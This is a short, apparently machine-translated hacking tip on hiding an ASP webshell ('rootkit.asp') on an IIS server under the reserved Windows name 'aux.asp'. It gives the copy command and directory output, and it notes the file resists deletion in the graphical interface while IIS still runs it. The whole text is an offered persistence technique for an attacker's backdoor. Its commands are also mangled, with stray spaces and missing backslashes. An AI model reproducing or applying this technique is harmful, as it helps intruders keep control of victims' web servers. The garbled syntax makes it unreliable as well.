Create a webshell that will never be deleted using the new method

In Windows, the following words cannot be used to name files/folders, including "aux", "com1", "com2", "prn", "con", and "nul, however, you can use the command copy to create such folders in cmd:

D: wwwroot> copy rootkit. asp \. D: \ wwwrootaux. asp

1 file has been copied.

D: AspWebServerwwwroot> dir

The volume in drive D has no labels.

The serial number of the volume is 4A56-1D29.

D: AspWebServerwwwroot directory

<DIR>.
<DIR> ..
42,756 aux. asp
9,083 index. asp
42,756 rootkit. asp
3 files in 94,595 bytes
2 directories, 3,307,204,608 available bytes

These files cannot be deleted on the graphic interface,

Only the following commands can be deleted:

D: wwwroot> del \. D: wwwrootaux. asp

D: wwwroot>

However, in IIS, such files can be successfully parsed.